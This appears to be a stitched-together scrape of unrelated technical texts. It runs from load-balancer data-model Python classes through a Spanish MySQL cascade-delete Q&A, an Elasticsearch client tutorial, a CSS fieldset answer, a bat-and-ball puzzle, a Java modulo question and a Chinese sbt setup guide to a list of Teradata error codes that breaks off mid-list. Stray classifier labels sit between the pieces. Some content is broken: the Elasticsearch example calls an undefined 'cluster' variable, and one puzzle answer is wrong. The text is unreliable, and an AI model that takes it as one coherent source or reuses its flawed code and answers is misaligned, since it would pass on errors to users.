self.request_errors += other.request_errors
self.total_connections += other.total_connections
return self
class LoadBalancerStatistics(BaseDataModel):
def __init__(self, bytes_in=0, bytes_out=0, active_connections=0,
total_connections=0, request_errors=0, listeners=None):
self.bytes_in = bytes_in
self.bytes_out = bytes_out
self.active_connections = active_connections
self.total_connections = total_connections
self.request_errors = request_errors
self.listeners = listeners or []
def get_stats(self):
stats = {
'bytes_in': self.bytes_in,
'bytes_out': self.bytes_out,
'active_connections': self.active_connections,
'total_connections': self.total_connections,
'request_errors': self.request_errors,
}
return stats
class HealthMonitor(BaseDataModel):
def __init__(self, id=None, project_id=None, pool_id=None, type=None,
delay=None, timeout=None, fall_threshold=None,
rise_threshold=None, http_method=None, url_path=None,
expected_codes=None, enabled=None, pool=None, name=None,
provisioning_status=None, operating_status=None,
created_at=None, updated_at=None, tags=None,
http_version=None, domain_name=None):
self.id = id
self.project_id = project_id
self.pool_id = pool_id
self.type = type
self.delay = delay
self.timeout = timeout
self.fall_threshold = fall_threshold
self.rise_threshold = rise_threshold
self.http_method = http_method
self.url_path = url_path
self.expected_codes = expected_codes
self.enabled = enabled
self.pool = pool
self.provisioning_status = provisioning_status
self.operating_status = operating_status
self.name = name
self.created_at = created_at
self.updated_at = updated_at
self.tags = tags
self.http_version = http_version
self.domain_name = domain_name
def delete(self):
self.pool.health_monitor = None
class Pool(BaseDataModel):
def __init__(self, id=None, project_id=None, name=None, description=None,
protocol=None, lb_algorithm=None, enabled=None,
operating_status=None, members=None, health_monitor=None,
session_persistence=None, load_balancer_id=None,
load_balancer=None, listeners=None, l7policies=None,
created_at=None, updated_at=None, provisioning_status=None,
tags=None, tls_certificate_id=None,
ca_tls_certificate_id=None, crl_container_id=None,
tls_enabled=None):
self.id = id
self.project_id = project_id
self.name = name
self.description = description
self.load_balancer_id = load_balancer_id
self.load_balancer = load_balancer
self.protocol = protocol
self.lb_algorithm = lb_algorithm
self.enabled = enabled
self.operating_status = operating_status
self.members = members or []
self.health_monitor = health_monitor
self.session_persistence = session_persistence
self.listeners = listeners or []
self.l7policies = l7policies or []
self.created_at = created_at
self.updated_at = updated_at
self.provisioning_status = provisioning_status
self.tags = tags
self.tls_certificate_id = tls_certificate_id
self.ca_tls_certificate_id = ca_tls_certificate_id
self.crl_container_id = crl_container_id
self.tls_enabled = tls_enabled
def update(self, update_dict):
for key, value in update_dict.items():
if key == 'session_persistence':
if value is None or value == {}:
if self.session_persistence is not None:
self.session_persistence.delete()
elif self.session_persistence is not None:
self.session_persistence.update(value)
else:
value.update({'pool_id': self.id})
self.session_persistence = SessionPersistence(**value)
else:
setattr(self, key, value)
def delete(self):
for listener in self.listeners:
if listener.default_pool_id == self.id:
listener.default_pool = None
listener.default_pool_id = None
for pool in listener.pools:
if pool.id == self.id:
listener.pools.remove(pool)
break
for pool in self.load_balancer.pools:
if pool.id == self.id:
self.load_balancer.pools.remove(pool)
break
for l7policy in self.l7policies:
if l7policy.redirect_pool_id == self.id:
# Technically this should never happen, as we block deletion
# of pools in use by L7Policies at the API. However, we should
# probably keep this here in case the data model gets
# manipulated in some other way in the future.
l7policy.action = constants.L7POLICY_ACTION_REJECT
l7policy.redirect_pool = None
l7policy.redirect_pool_id = None
class Member(BaseDataModel):
def __init__(self, id=None, project_id=None, pool_id=None, ip_address=None,
protocol_port=None, weight=None, backup=None, enabled=None,
subnet_id=None, operating_status=None, pool=None,
created_at=None, updated_at=None, provisioning_status=None,
name=None, monitor_address=None, monitor_port=None,
tags=None):
self.id = id
self.project_id = project_id
self.pool_id = pool_id
self.ip_address = ip_address
self.protocol_port = protocol_port
self.weight = weight
self.backup = backup
self.enabled = enabled
self.subnet_id = subnet_id
self.operating_status = operating_status
self.pool = pool
self.created_at = created_at
self.updated_at = updated_at
self.provisioning_status = provisioning_status
self.name = name
self.monitor_address = monitor_address
self.monitor_port = monitor_port
self.tags = tags
def delete(self):
for mem in self.pool.members:
if mem.id == self.id:
self.pool.members.remove(mem)
break
class Listener(BaseDataModel):
def __init__(self, id=None, project_id=None, name=None, description=None,
default_pool_id=None, load_balancer_id=None, protocol=None,
protocol_port=None, connection_limit=None,
enabled=None, provisioning_status=None, operating_status=None,
tls_certificate_id=None, stats=None, default_pool=None,
load_balancer=None, sni_containers=None, peer_port=None,
l7policies=None, pools=None, insert_headers=None,
created_at=None, updated_at=None,
timeout_client_data=None, timeout_member_connect=None,
timeout_member_data=None, timeout_tcp_inspect=None,
tags=None, client_ca_tls_certificate_id=None,
client_authentication=None, client_crl_container_id=None):
self.id = id
self.project_id = project_id
self.name = name
self.description = description
self.default_pool_id = default_pool_id
self.load_balancer_id = load_balancer_id
self.protocol = protocol
self.protocol_port = protocol_port
self.connection_limit = connection_limit
self.enabled = enabled
self.provisioning_status = provisioning_status
self.operating_status = operating_status
self.tls_certificate_id = tls_certificate_id
self.stats = stats
self.default_pool = default_pool
self.load_balancer = load_balancer
self.sni_containers = sni_containers or []
self.peer_port = peer_port
self.l7policies = l7policies or []
self.insert_headers = insert_headers or {}
self.pools = pools or []
self.created_at = created_at
self.updated_at = updated_at
self.timeout_client_data = timeout_client_data
self.timeout_member_connect = timeout_member_connect
self.timeout_member_data = timeout_member_data
self.timeout_tcp_inspect = timeout_tcp_inspect
self.tags = tags
self.client_ca_tls_certificate_id = client_ca_tls_certificate_id
self.client_authentication = client_authentication
self.client_crl_container_id = client_crl_container_id
def update(self, update_dict):
for key, value in update_dict.items():
setattr(self, key, value)
if key == 'default_pool_id':
if self.default_pool is not None:
l7_pool_ids = [p.redirect_pool_id for p in self.l7policies
if p.redirect_pool_id is not None and
p.l7rules and p.enabled is True]
old_pool = self.default_pool
if old_pool.id not in l7_pool_ids:
if old_pool in self.pools:
self.pools.remove(old_pool)
if self in old_pool.listeners:
old_pool.listeners.remove(self)
if value is not None:
pool = self._find_in_graph('Pool' + value)
if pool not in self.pools:
self.pools.append(pool)
if self not in pool.listeners:
pool.listeners.append(self)
else:
pool = None
setattr(self, 'default_pool', pool)
def delete(self):
for listener in self.load_balancer.listeners:
if listener.id == self.id:
self.load_balancer.listeners.remove(listener)
break
for pool in self.pools:
pool.listeners.remove(self)
class LoadBalancer(BaseDataModel):
def __init__(self, id=None, project_id=None, name=None, description=None,
provisioning_status=None, operating_status=None, enabled=None,
topology=None, vip=None, listeners=None, amphorae=None,
pools=None, vrrp_group=None, server_group_id=None,
created_at=None, updated_at=None, provider=None, tags=None,
flavor_id=None):
self.id = id
self.project_id = project_id
self.name = name
self.description = description
self.provisioning_status = provisioning_status
self.operating_status = operating_status
self.enabled = enabled
self.vip = vip
self.vrrp_group = vrrp_group
self.topology = topology
self.listeners = listeners or []
self.amphorae = amphorae or []
self.pools = pools or []
self.server_group_id = server_group_id
self.created_at = created_at
self.updated_at = updated_at
self.provider = provider
self.tags = tags or []
self.flavor_id = flavor_id
def update(self, update_dict):
for key, value in update_dict.items():
if key == 'vip':
if self.vip is not None:
self.vip.update(value)
else:
value.update({'load_balancer_id': self.id})
self.vip = Vip(**value)
else:
setattr(self, key, value)
class VRRPGroup(BaseDataModel):
def __init__(self, load_balancer_id=None, vrrp_group_name=None,
vrrp_auth_type=None, vrrp_auth_pass=None, advert_int=None,
smtp_server=None, smtp_connect_timeout=None,
load_balancer=None):
self.load_balancer_id = load_balancer_id
self.vrrp_group_name = vrrp_group_name
self.vrrp_auth_type = vrrp_auth_type
self.vrrp_auth_pass = vrrp_auth_pass
self.advert_int = advert_int
self.load_balancer = load_balancer
class Vip(BaseDataModel):
def __init__(self, load_balancer_id=None, ip_address=None,
subnet_id=None, network_id=None, port_id=None,
load_balancer=None, qos_policy_id=None, octavia_owned=None):
self.load_balancer_id = load_balancer_id
self.ip_address = ip_address
self.subnet_id = subnet_id
self.network_id = network_id
self.port_id = port_id
self.load_balancer = load_balancer
self.qos_policy_id = qos_policy_id
self.octavia_owned = octavia_owned
class SNI(BaseDataModel):
def __init__(self, listener_id=None, position=None, listener=None,
tls_container_id=None):
self.listener_id = listener_id
self.position = position
self.listener = listener
self.tls_container_id = tls_container_id
class TLSContainer(BaseDataModel):
def __init__(self, id=None, primary_cn=None, certificate=None,
private_key=None, passphrase=None, intermediates=None):
self.id = id
self.primary_cn = primary_cn
self.certificate = certificate
self.private_key = private_key
self.passphrase = passphrase
self.intermediates = intermediates or []
class Amphora(BaseDataModel):
def __init__(self, id=None, load_balancer_id=None, compute_id=None,
status=None, lb_network_ip=None, vrrp_ip=None,
ha_ip=None, vrrp_port_id=None, ha_port_id=None,
load_balancer=None, role=None, cert_expiration=None,
cert_busy=False, vrrp_interface=None, vrrp_id=None,
vrrp_priority=None, cached_zone=None, created_at=None,
updated_at=None, image_id=None, compute_flavor=None):
self.id = id
self.load_balancer_id = load_balancer_id
self.compute_id = compute_id
self.status = status
self.lb_network_ip = lb_network_ip
self.vrrp_ip = vrrp_ip
self.ha_ip = ha_ip
self.vrrp_port_id = vrrp_port_id
self.ha_port_id = ha_port_id
self.role = role
self.vrrp_interface = vrrp_interface
self.vrrp_id = vrrp_id
self.vrrp_priority = vrrp_priority
self.load_balancer = load_balancer
self.cert_expiration = cert_expiration
self.cert_busy = cert_busy
self.cached_zone = cached_zone
self.created_at = created_at
self.updated_at = updated_at
self.image_id = image_id
self.compute_flavor = compute_flavor
def delete(self):
for amphora in self.load_balancer.amphorae:
if amphora.id == self.id:
self.load_balancer.amphorae.remove(amphora)
break
class AmphoraHealth(BaseDataModel):
def __init__(self, amphora_id=None, last_update=None, busy=False):
self.amphora_id = amphora_id
self.last_update = last_update
self.busy = busy
class L7Rule(BaseDataModel):
def __init__(self, id=None, l7policy_id=None, type=None, enabled=None,
compare_type=None, key=None, value=None, l7policy=None,
invert=False, provisioning_status=None, operating_status=None,
project_id=None, created_at=None, updated_at=None, tags=None):
self.id = id
self.l7policy_id = l7policy_id
self.type = type
self.compare_type = compare_type
self.key = key
self.value = value
self.l7policy = l7policy
self.invert = invert
self.provisioning_status = provisioning_status
self.operating_status = operating_status
self.project_id = project_id
self.created_at = created_at
self.updated_at = updated_at
self.enabled = enabled
self.tags = tags
def delete(self):
if len(self.l7policy.l7rules) == 1:
# l7policy should disappear from pool and listener lists. Since
# we are operating only on the data model, we can fake this by
# calling the policy's delete method.
self.l7policy.delete()
for r in self.l7policy.l7rules:
if r.id == self.id:
self.l7policy.l7rules.remove(r)
break
class L7Policy(BaseDataModel):
def __init__(self, id=None, name=None, description=None, listener_id=None,
action=None, redirect_pool_id=None, redirect_url=None,
position=None, listener=None, redirect_pool=None,
enabled=None, l7rules=None, provisioning_status=None,
operating_status=None, project_id=None, created_at=None,
updated_at=None, redirect_prefix=None, tags=None,
redirect_http_code=None):
self.id = id
self.name = name
self.description = description
self.listener_id = listener_id
self.action = action
self.redirect_pool_id = redirect_pool_id
self.redirect_url = redirect_url
self.position = position
self.listener = listener
self.redirect_pool = redirect_pool
self.enabled = enabled
self.l7rules = l7rules or []
self.provisioning_status = provisioning_status
self.operating_status = operating_status
self.project_id = project_id
self.created_at = created_at
self.updated_at = updated_at
self.redirect_prefix = redirect_prefix
self.tags = tags
self.redirect_http_code = redirect_http_code
def _conditionally_remove_pool_links(self, pool):
"""Removes links to the given pool from parent objects.
Note this only happens if our listener isn't referencing the pool
via its default_pool or another active l7policy's redirect_pool_id.
"""
if (self.listener.default_pool is not None and
pool is not None and
pool.id != self.listener.default_pool.id and
pool in self.listener.pools):
listener_l7pools = [
p.redirect_pool for p in self.listener.l7policies
if p.redirect_pool is not None and
p.l7rules and p.enabled is True and
p.id != self.id]
if pool not in listener_l7pools:
self.listener.pools.remove(pool)
pool.listeners.remove(self.listener)
def update(self, update_dict):
for key, value in update_dict.items():
if key == 'redirect_pool_id' and value is not None:
self._conditionally_remove_pool_links(self.redirect_pool)
self.action = constants.L7POLICY_ACTION_REDIRECT_TO_POOL
self.redirect_url = None
self.redirect_http_code = None
pool = self._find_in_graph('Pool' + value)
self.redirect_pool = pool
if self.l7rules and (self.enabled is True or (
'enabled' in update_dict.keys() and
update_dict['enabled'] is True)):
if pool not in self.listener.pools:
self.listener.pools.append(pool)
if self.listener not in pool.listeners:
pool.listeners.append(self.listener)
elif key == 'redirect_url' and value is not None:
self.action = constants.L7POLICY_ACTION_REDIRECT_TO_URL
self._conditionally_remove_pool_links(self.redirect_pool)
self.redirect_pool = None
self.redirect_pool_id = None
elif key == 'action' and value == constants.L7POLICY_ACTION_REJECT:
self.redirect_url = None
self._conditionally_remove_pool_links(self.redirect_pool)
self.redirect_pool = None
self.redirect_pool_id = None
self.redirect_http_code = None
elif key == 'position':
self.listener.l7policies.remove(self)
self.listener.l7policies.insert(value - 1, self)
elif key == 'enabled':
if (value is True and self.action ==
constants.L7POLICY_ACTION_REDIRECT_TO_POOL and
self.redirect_pool is not None and
self.l7rules and
self.redirect_pool not in self.listener.pools):
self.listener.pools.append(self.redirect_pool)
self.redirect_pool.listeners.append(self.listener)
elif (value is False and self.action ==
constants.L7POLICY_ACTION_REDIRECT_TO_POOL and
self.redirect_pool is not None):
self._conditionally_remove_pool_links(
self.redirect_pool)
setattr(self, key, value)
def delete(self):
self._conditionally_remove_pool_links(self.redirect_pool)
if self.redirect_pool:
for p in self.redirect_pool.l7policies:
if p.id == self.id:
self.redirect_pool.l7policies.remove(p)
for p in self.listener.l7policies:
if p.id == self.id:
self.listener.l7policies.remove(p)
break
class Quotas(BaseDataModel):
def __init__(self,
project_id=None,
load_balancer=None,
listener=None,
pool=None,
health_monitor=None,
member=None,
in_use_health_monitor=None,
in_use_listener=None,
in_use_load_balancer=None,
in_use_member=None,
in_use_pool=None):
self.project_id = project_id
self.health_monitor = health_monitor
self.listener = listener
self.load_balancer = load_balancer
self.pool = pool
self.member = member
self.in_use_health_monitor = in_use_health_monitor
self.in_use_listener = in_use_listener
self.in_use_load_balancer = in_use_load_balancer
self.in_use_member = in_use_member
self.in_use_pool = in_use_pool
class Flavor(BaseDataModel):
def __init__(self, id=None, name=None,
description=None, enabled=None,
flavor_profile_id=None):
self.id = id
self.name = name
self.description = description
self.enabled = enabled
self.flavor_profile_id = flavor_profile_id
class FlavorProfile(BaseDataModel):
def __init__(self, id=None, name=None, provider_name=None,
flavor_data=None):
self.id = id
self.name = name
self.provider_name = provider_name
self.flavor_data = flavor_data
|
__label__pos
| 0.999644 |
1
estoy tratando de eliminar datos de dos tablas pero no puedo lograrlo. Tengo una tabla llamada chofer que contiene una llave primaria llamada idchofer y la cual la llevo como llave foránea a otra tabla llamada camión. Mi idea era eliminar la fila camión donde la llave foránea sea igual que la de id chofer y, eliminar a la vez, la fila chofer donde se aloje esa idchofer. Mis intentos han sido en vano por estoy acudiendo a ustedes :) Gracias de ante mano.
mysql> select * from chofer;
+----------+-----------+----------------+-----------+
| idchofer | nombre | segundo_nombre | apellidos |
+----------+-----------+----------------+-----------+
| 1 | sad | | asd |
| 2 | alejandro | sdf | aaa |
+----------+-----------+----------------+-----------+
2 rows in set (0.00 sec)
mysql> select * from camion;
+----------+-------+-------+--------+----------+
| idcamion | placa | marca | modelo | idchofer |
+----------+-------+-------+--------+----------+
| 1 | asd | asd | asd | 1 |
| 2 | sdf | sdf | sdf | 2 |
+----------+-------+-------+--------+----------+
2 rows in set (0.00 sec)
mysql> delete chofer,camion
-> from chofer,camion
-> where chofer.idchofer=camion.idchofer
-> and camion.idchofer=2;
ERROR 1451 (23000): Cannot delete or update a parent row: a foreign key constraint fails (`ingsoft`.`camion`, CONSTRAINT `fk_camion_chofer1` FOREIGN KEY (`idchofer`) REFERENCES `chofer` (`idchofer`) ON DELETE NO ACTION ON UPDATE NO ACTION)
1
0
Realmente es mucho más sencillo.
Si a la hora de crear la base de datos configuraste correctamente las identidades referenciales bastaría con ejecutar el comando delete, que lo que hace es borrar en la tabla que le indicas y todo lo relacionado en otras tablas relacionales.
En caso de que no configurases correctamente las relaciones en la base de datos, podrías utilizar la siguiente query para actualizar.
ALTER TABLE `camion`
ADD CONSTRAINT `chofer`
FOREIGN KEY (`idchofer`) REFERENCES `chofer` (`idchofer`) ON DELETE CASCADE;
Una vez hecho eso solo tendrás que eliminar una fila de chofer y automaticamente se eliminará su camion asignado.
1
• muchas gracias, me funciono :).
– alekeene
el 23 jun. 20 a las 18:14
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|
__label__pos
| 0.861264 |
How To Get An Elasticsearch Cluster's Information In Python
Introduction
If you’re running an Elasticsearch cluster, you’ll occasionally need to get information about the cluster. The Elasticsearch client for Python makes this task quick and simple– all it takes is a few lines of code in Python to connect to Elasticsearch and retrieve the information you need. In this step-by-step tutorial, we’ll explain how to retrieve Elasticsearch cluster information in Python.
Prerequisites
Before we can attempt to get cluster information in Python, it’s important to make sure certain prerequisites are in place. For this task, there are a few key system requirements:
• The server or machine must have Elasticsearch installed and running. You can see if the Elasticsearch service is running by visiting https://{YOUR_DOMAIN}:9200 or localhost:9200 in your browser.
• Python (version 2 or 3) must be installed on the server.
• The Python low-level Elasticsearch client library must be installed. You can install the client library using the PIP package manager for Python:
1
2
3
4
# 'pip3' is for Python 3 packages:
pip3 install elasticsearch
# or use 'pip' to install Python 2 packages:
pip install elasticsearch
NOTE: Python 3 is soon to be the standard for Python, as Python 2 is being depreciated.
Import the Python module for the Elasticsearch client
Once you’ve confirmed all the system requirements, you’re ready to begin your Python script. Use the Python import statement to add the library for Elasticsearch to the script or Python shell environment:
1
from elasticsearch import Elasticsearch
If you encounter an import error, it’s likely that the Elasticsearch client library wasn’t installed properly, or you installed the library for the wrong version of Python.
Create a new client instance for the Elasticsearch Python library
You’ll need to create a client instance in order to make requests and changes to the Elasticsearch cluster and its indexes; however, the client instance has other useful methods as well.
The code shown below creates a client instance that we’ll use to call the info() method:
1
elastic = Elasticsearch()
You may also pass a string into the hosts array as a parameter, specifying the domain name, or IP address, of the server running Elasticsearch; however, this parameter is optional:
1
2
3
4
5
6
7
8
# domain name, or server's IP address, goes in the 'hosts' array
elastic = Elasticsearch(hosts=["localhost"])
"""
OR USE ONE OF THESE:
elastic = Elasticsearch('localhost')
elastic = Elasticsearch(hosts=["http://www.example.com/"])
elastic = Elasticsearch(hosts=["123.456.789"])
"""
Call the client’s info() method to get information on an Elasticsearch cluster
Now that our client instance is set up, we can make our request for Elasticsearch cluster information. The client instance has a built-in method called info() that returns information about the cluster. Calling this method returns a nested Python dictionary– in other words, a dictionary inside of a dictionary:
1
elastic.info()
The outer dictionary contains keys for the cluster name, UUID, logical name, and its version dictionary.
Call the Python client’s info() method, and have it return a nested dictionary with information about the cluster
Screenshot of Python's IDLE getting the indices in an Elasticsearch cluster
Get details about the Elasticsearch cluster’s version:
The value for the version key itself is a dictionary, nested inside the outer dictionary, that can provide more detailed information about the Elasticsearch cluster. You can access the version key inside the nested dictionary returned by the client’s info() method:
1
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3
4
5
6
7
8
# store the method call's returned dictionary in a variable
info = cluster.info()
# access the different keys of the nested dictionary
# and print out their respective value:
print ("Cluster Name:", info['cluster_name'])
print ("Cluster version dictionary:", info['version'])
print ("Cluster version number:", info['version']['number'])
Conclusion
It’s important to know how to retrieve basic information about your Elasticsearch cluster, and the Elasticsearch client for Python makes this task a simple one. Just a few lines of code in your Python script allows you to get the essential information you need about your Elasticsearch cluster, such as the cluster name, the UUID and the version of Elasticsearch that’s running. With the instructions provided in this article, you’ll have no trouble using the Elasticsearch client for Python to get information about your cluster.
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|
__label__pos
| 0.934868 |
Testifier Testifier - 1 year ago 84
CSS Question
Create a group box around certain controls on a web form using CSS
I have three controls on my web form of three drop down lists.
I want to create a graphical "box" around these controls. The reason for this is that selecting these controls would be "STEP 1" of my process. So I want to put a box around these controls and call it "Step 1"
How would I go about doing this with CSS?
Example:
box around form elements
Answer Source
A fieldset with a legend provides a visual and semantic grouping for form controls. You can then style this as desired with CSS. A fieldset is somewhat unique in that the legend is capable of visually interrupting the border of its parent fieldset (possible with other elements, but difficult).
Example: http://jsfiddle.net/NUMcr/1/
<fieldset>
<legend>Group 1</legend>
<input type="text" />
<asp:Textbox runat="Server" id="txt1" />
<!-- etc -->
</fieldset>
Including CSS in case link to fiddle is ever broken:
FIELDSET {
margin: 8px;
border: 1px solid silver;
padding: 8px;
border-radius: 4px;
}
LEGEND{
padding: 2px;
}
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A bat and ball cost Rs. 1.10 and the difference between them is Rs. 1. How much does each cost?
+1 vote
960 views
A bat and ball cost Rs. 1.10 and the difference between them is Rs. 1. How much does each cost?
posted Apr 11, 2014 by Karan Joglekar
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4 Solutions
+3 votes
Eq1: Bat + Ball = Rs 1.1
Eq2: Bat - Ball = Rs 1
Adding Eq1 + Eq2
2 Bat = Rs 2.1 i.e. Bat is Rs1.05 which implies ball is Rs .05
solution Apr 22, 2014 by Shatark Bajpai
+2 votes
x+y=1.10------>eqn1
x-y=1.0------->eqn2
2x=2.10------>by summing up
x=1.05---->cost of bat
y=.05----->cost of ball
solution May 26, 2014 by Joy Dutta
+1 vote
Let,
x = Cost of Bat
y = Cost of Ball
1. x + y = 1.10
2. x - y = 1.00
2y = 0.10
Therefore , y = 0.10/2 = 0.05
x = 1.01-0.05 = 1.05
Now , Bat (x)= 1.05
Ball(y) = 0.05
solution Mar 10, 2015 by Varghese Anthony
0 votes
bat rs 1, ball 0.10
solution Oct 4, 2015 by Sasikumar Arumugam
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Take the 2-minute tour ×
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In java, I want to do 102%100 and get the remainder as 02 and not as 2.. How do i do that?
int a = (102%100);
a returns 2 and not 02.. I want to get 02.. because originally, it's supposed to be 1.02, but mod returns 2. :( Anybody know how to do that?
share|improve this question
1
You're confusing numbers with String representation of numbers -- a subtle but important difference. – Hovercraft Full Of Eels Dec 12 '11 at 3:36
4 Answers 4
2 and 02 are the same number.
Since you are using this to find the first two numbers after the decimal-point, just pad any one-digit numbers with a 0. If you want all the numbers after the decimal-point, the more usual way is to do this:
//Strip all numbers before decimal-point
double decimalDigits = myNumber - (int)myNumber;
share|improve this answer
is there no automatic way to do that? T_T – 황현정 Dec 12 '11 at 2:56
@황현정: If you are only doing this for ease of display, then yes, there is; in fact, you can automatically format decimals without all this hoopla. Check out the string formatter classes. – BlueRaja - Danny Pflughoeft Dec 12 '11 at 2:58
Yes, NumberFormat. I'll add a code snippet – Chip McCormick Dec 12 '11 at 3:01
NumberFormat is probably the best way to go. String.format and doing calculations also work, but since you're formatting a number, might as well use a number formatter.
An example. I'm guessing on your requirements here a bit (e.g. what should 110%100 return, or do you only expect a single-digit remainder?):
NumberFormat formatter = new DecimalFormat("'0'#");
int remainder = 102%100;
System.out.println(formatter.format(remainder));
share|improve this answer
As integers, they represent the same number. Use the following to format the number as a string for display purposes:
int a = 102 / 100;
int r = 102 % 100;
System.out.print(a + "." + String.format("%02d", r));
Output:
1.02
share|improve this answer
Here lies the answer to padding numbers with zeroes: Add leading zeroes in Java
Really though, thats it.
share|improve this answer
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|
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| 0.92136 |
Windows下sbt安装配置
版权声明:转载原创博文请注明转载地址 https://blog.csdn.net/u014532217/article/details/78966807
1.下载sbt
2.配置环境
#SBT_HOME设置为sbt解压目录,例如:
SBT_HOME=C:\Programs\sbt;
#在path中添加:
Path=%SBT_HOME%\bin;
3.sbt配置
在sbt\conf\sbtconfig.txt中末尾添加
-Dsbt.boot.directory=C:/Programs/sbt/data/.sbt/boot
-Dsbt.global.base=C:/Programs/sbt/data/.sbt
-Dsbt.ivy.home=C:/Programs/sbt/data/.ivy2
-Dsbt.repository.config=C:/Programs/sbt/conf/repo.properties
-Dsbt.repository.secure=false
# 设置代理
# -Dhttp.proxyHost=10.18.11.11
# -Dhttp.proxyPort=8080
# -Dhttp.proxyUser=xx
# -Dhttp.proxyPassword=xx
# -Dhttps.proxyHost=10.18.1111
# -Dhttps.proxyPort=8080
# -Dhttps.proxyUser=xx
# -Dhttps.proxyPassword=xx
如果有需要设置代理的话,将“#设置代理”下面的#号去掉,并添加相应的代理设置,#是注释。
4.设置阿里云镜像
国内的网络环境复杂,阿里云还挺好用的,在sbt\conf\下新建repo.properties文件,内容为:
[repositories]
local
aliyun: http://maven.aliyun.com/nexus/content/groups/public/
typesafe: http://repo.typesafe.com/typesafe/ivy-releases/, [organization]/[module]/(scala_[scalaVersion]/)(sbt_[sbtVersion]/)[revision]/[type]s/[artifact](-[classifier]).[ext], bootOnly
sonatype-oss-releases
maven-central
sonatype-oss-snapshots
5.验证
打开cmd,输入sbt,如果出现类似下面的结果则表明安装成功:
C:\Users\PetterChen>sbt
"C:\Users\PetterChen\.sbt\preloaded\org.scala-sbt\sbt\"1.0.3"\jars\sbt.jar"
Java HotSpot(TM) 64-Bit Server VM warning: ignoring option MaxPermSize=256m; support was removed in 8.0
[info] Loading project definition from C:\Users\PetterChen\project
[info] Set current project to petterchen (in build file:/C:/Users/PetterChen/)
[info] sbt server started at 127.0.0.1:4729
sbt:petterchen>
注意,第一次运行的时候,sbt需要下载一些东西,下载消耗时间看网络情况状态。sbt版本不同的话,最后的结果也可能不一样,但是只要配置和网络正常,最后都会进入sbt的控制台。
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| 0.751253 |
Will I Am Will I Am - 1 year ago 57
Scala Question
Sequence of actor ask calls
Suppose I have the following actor:
class A extends Actor {
def receive = {
case Unlock => sender ! UnlockResponse (Boolean_code)
case Read => sender ! ReadResponse (somedata)
case Lock => sender ! LockResponse (Boolean_code)
} }
I would like to write.a helper method where I can call unlock, read, and lock sequentially, and return the "somedata" from the ReadResponse to the method caller after last step (lock) has completed.
I like the for-comprehension approach, but how do I write it with a bit more flexibility, for example to continue to Read only if Unlock returns UnlockResponse(true) in the first step, but abort if the return is UnlockResponse(false)?
Answer Source
For the sequential logic you could use Scala Promises api:
val promise = Promise[ReadResponse]()
val unlockFuture = anActorRef ? Unlock
val readFuture = anActorRef ? Read
unlockFuture.map{
case UnlockResponse (true) => promise.completeWith(readFuture)
case UnlockResponse (false) => p.failure(new IllegalStateException)
}
and then depending on the outcome you can do something like
p.future.onComplete {
case Success(somedata) => {
processData(somedata)
anActorRef ! Lock
}
case Failure(t) => logger.error(t)
}
A more elegant solution with the same sequential effect could be achieved via the Actor become/unbecome and stash, where the transaction logic is handled by the actor itself instead of the sender.
|
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| 0.985081 |
Teradata SQL Error and Failure Codes from Error 3612 To 3626
SQLServerF1_Header_Small
3612 Incorrect use of a subquery %VSTR.
Explanation: A subquery occurred where an expression was expected.
Generated By: OPT modules.
For Whom: End User.
Remedy: Correct the statement and resubmit request.
3613 Dump/Restore, no hashed nonfallback tables found.
Explanation: Selected AMP Dump or Restore with the all tables option found no qualified tables.
Generated By: OPT modules.
For Whom: Dump and Restore Program.
Remedy: Correct the statement and resubmit the request.
3614 Statement permitted only during FastLoad or MLoad.
Explanation: CHECKPOINT LOADING or END LOADING was issued outside of a Fast Load or MLoad Session.
Generated By: OPT modules.
For Whom: Host Utility Fast Load or MLoad.
Remedy: Correct the statement and resubmit the request.
3615 Statement not permitted during Fast Load.
Explanation: Only BT, CHECKPOINT LOADING, END LOADING, ET, and INSERT are permitted during Fast Load.
Generated By: OPT modules.
For Whom: Host Utility Fast Load.
Remedy: Correct the statement and resubmit the request.
3616 Wrong table referenced for INSERT during Fast Load.
Explanation: INSERT referenced a table other than that specified by BEGIN LOADING during a Fast Load session.
Generated By: OPT modules.
For Whom: Host Utility Fast Load.
Remedy: Correct the statement and resubmit the request.
3617 FORMAT ’%VSTR’ does not match the datatype.
Explanation: The user tried to use a numeric/graphic format with a character type, a character/graphic format with a
numeric type, or character/numeric format with a graphic type. The mismatch may be within a single data descriptor as in
(CHAR(3), FORMAT’999’) or may be the result of applying a FORMAT clause without an explicit type declaration to an
expression which has an inappropriate type, as in (Year – 1900)(FORMAT ’XX’). Note that the FORMAT displayed in the
error message may not show in the users source statement if the FORMAT was an attribute of a VIEW definition.
Generated By: SYN and OPT modules.
For Whom: End User.
Notes: “x(CHAR(3), FORMAT ’999’)” is invalid. If this is a type conversion, the user probably wanted “(x(FORMAT
’999’))(CHAR(3))”.
Remedy: Re-specify the format.
3618 Expression not allowed in Fast Load Insert, column %VSTR.
Explanation: FastLoad does not permit expressions in the INSERT during Fast Load.
Generated By: OPT modules.
For Whom: Host Utility Fast Load.
Remedy: Correct the statement and resubmit the request.
3619 Only one level of data type conversion allowed, column %VSTR.
Explanation: FastLoad does not permit USING data types, which require more than one level of conversion.
Generated By: OPT modules.
For Whom: Host Utility Fast Load.
Remedy: Correct the statement and resubmit the request.
3620 Cannot create nonfallback table ’%VSTR’ with AMP down.
Explanation: The user tried to create a nonfallback table while an AMP is down.
Generated By: OPT modules.
For Whom: End User.
Remedy: Wait until all AMPs are up.
3621 Cannot load table %TVMID unless secondary indexes and join indexes are removed.
Explanation: BEGIN LOADING referenced a table that has secondary indexes. They must be removed and, if desired,
created after the table is loaded.
Generated By: OPT modules.
For Whom: Host Utility Fast Load.
Remedy: DROP secondary indexes and join indexes on table to be loaded.
3622 The user cannot perform that operation on DATEs.
Explanation: An operation on a DATE data type does not make sense, for example, trying to SUM a column of DATEs.
Generated By: OPT modules.
For Whom: End User.
Remedy: Rephrase the request and try again.
3623 The user cannot use COMPRESS on a primary index column or partitioning expression column.
Explanation: A primary index column or partitioning expression column specifies the COMPRESS option.
Generated By: GEN modules.
For Whom: End User.
Remedy: Rephrase the request and try again.
3624 There are no statistics defined for the table.
Explanation: There are no statistics defined for the table referenced in a COLLECT STATISTICS or HELP STATISTICS statement.
Generated By: OPT modules.
For Whom: End User.
Notes: This error may be caused by a misspelled name of a table.
Remedy: Resubmit the statement with a valid table name.
3625 GROUP BY and WITH…BY clauses may not contain aggregate functions.
Explanation: The given SELECT operation contains a GROUP BY, or a WITH…BY clause that uses aggregate function
references. This is not legal.
Generated By: OPT modules.
For Whom: End User.
Remedy: Resubmit statement with a valid GROUP BY or BY clause.
3626 Internal error: WITH BY clause contains multiple tables.
